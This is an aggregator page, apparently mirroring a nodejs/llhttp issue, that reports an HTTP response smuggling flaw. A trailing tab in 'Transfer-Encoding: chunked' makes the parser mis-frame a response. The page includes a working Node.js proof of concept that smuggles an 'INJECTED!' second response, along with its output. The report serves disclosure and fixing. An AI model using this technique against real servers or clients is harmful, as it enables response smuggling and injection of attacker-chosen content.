HTTP response smuggling PRIMITIVE via a trailing HTAB in `Transfer-Encoding`
维护者通常 6 天内回复
还没有人认领这个 Issue。
评估
- 难度
- 4/5
- 预计耗时
- 3-5 天
- 新手友好度
- 52/100
- Issue 类型
- 缺陷
- 描述清晰度
- 基本清楚
- 活跃度
- 活跃
- 技术栈
- node.js, typescript
调研方向
先从 header_value_te_chunked_last 和 header_value_te_token 路径开始,然后检查 forbidAfterChunkedInRequest 和 lenient_transfer_encoding 如何影响响应解析。复现提供的 Node.js PoC,并验证尾随 HTAB 是否按已剥离的 OWS 处理,同时确保使用 chunked framing、正确传递 body 以及一致的消息边界。
由索引模型根据 Issue 内容生成。
描述
RFC 9110 §5.6.3 requires trailing OWS (SP or HTAB) to be stripped before a field value is
interpreted. header_value_te_chunked_last accepts SP but not HTAB, so chunked\t falls through
to header_value_te_token and into the generic fallback: F_TRANSFER_ENCODING is set, F_CHUNKED
is not. The message is then framed close-delimited and the chunk framing is handed to the
application as body bytes.
Responses only. On requests the value reaches forbidAfterChunkedInRequest and errors, unless
lenient_transfer_encoding is set.
PoC
const http = require('http'), net = require('net');
const RESP =
'HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\t\r\n\r\n' + // note the trailing TAB
'5\r\nhello\r\n0\r\n\r\n' + // a complete chunked body
'HTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!'; // a second, separate response
const origin = net.createServer(c =>
c.once('data', () => { c.write(RESP); setTimeout(() => c.end(), 100); }));
origin.listen(0, () => http.get({ port: origin.address().port }, res => {
let body = '';
res.on('data', c => body += c);
res.on('end', () => {
console.log("res.headers['transfer-encoding'] =", JSON.stringify(res.headers['transfer-encoding']));
console.log('res.complete =', res.complete);
console.log('body =', JSON.stringify(body));
origin.close();
});
}));
res.headers['transfer-encoding'] = "chunked"
res.complete = true
body = "5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!"
Node trims the tab before exposing the header, so the application sees transfer-encoding: chunked
and complete: true while llhttp framed the message as identity. rawHeaders carries the same
trimmed value, so the discrepancy is not observable through any public API. The second response is
delivered as body content.
The same bytes, parsed with the tab stripped, yield a different message count:
tab NOT stripped (llhttp): headers_complete chunked=0 keepalive=0 body(62) '5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK...'
tab stripped: headers_complete chunked=1 keepalive=1 body(5) 'hello' message_complete
headers_complete status=200 content_length=9 body(9) 'INJECTED!' message_complete
One message versus two, so an llhttp consumer sharing a byte stream with an OWS-trimming peer
disagrees about where the response ends. keepalive=0 limits this to the connection llhttp owns;
the application still receives attacker-chosen bytes as the body of a response it believes is
chunked.
- 主要语言
- TypeScript
- 星标
- 2k
- 派生
- 236
- 平均合并
- 5 天 2 小时
- 30 天内合并 PR
- 1
环境准备
- 提供 Dockerfile 或 Docker Compose 文件
- 没有 Pull Request 模板
- 阅读贡献指南
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
nodejs/llhttp 的其他 Issue
-
难度 2/5 1-3 小时 新手友好度 72/100
维护者通常 6 天内回复
-
难度 4/5 3-5 天 新手友好度 55/100
维护者通常 6 天内回复
-
Not easy to get the number of methods llhttp has可能已有人在做 @official-burak 于 54 天前认领。 未关闭
难度 3/5 1-2 天 新手友好度 54/100
维护者通常 6 天内回复
-
Should there be a way to block requests with multiple hosts or none are sent?可能已有人在做 @Vizonex 于 202 天前认领。 未关闭
难度 5/5 一周以上 新手友好度 32/100
维护者通常 6 天内回复
-
难度 2/5 1-3 小时 新手友好度 45/100
nodejs/llhttp#782 · 2 条评论 · 4 个 reaction ·
维护者通常 6 天内回复
相似的 Issue
-
难度 2/5 1-3 小时 新手友好度 72/100
VictoriaMetrics/victorialogs-datasource#747 ·
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 79/100
维护者通常 1 天内回复
-
bug from-studio
难度 2/5 1-3 小时 新手友好度 62/100
esengine/DeepSeek-Reasonix#14608 ·
维护者通常 1 天内回复
-
triage
难度 2/5 1-3 小时 新手友好度 75/100
getarcaneapp/arcane#4590 ·
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 77/100
Clouditera/VulnHunter#57 ·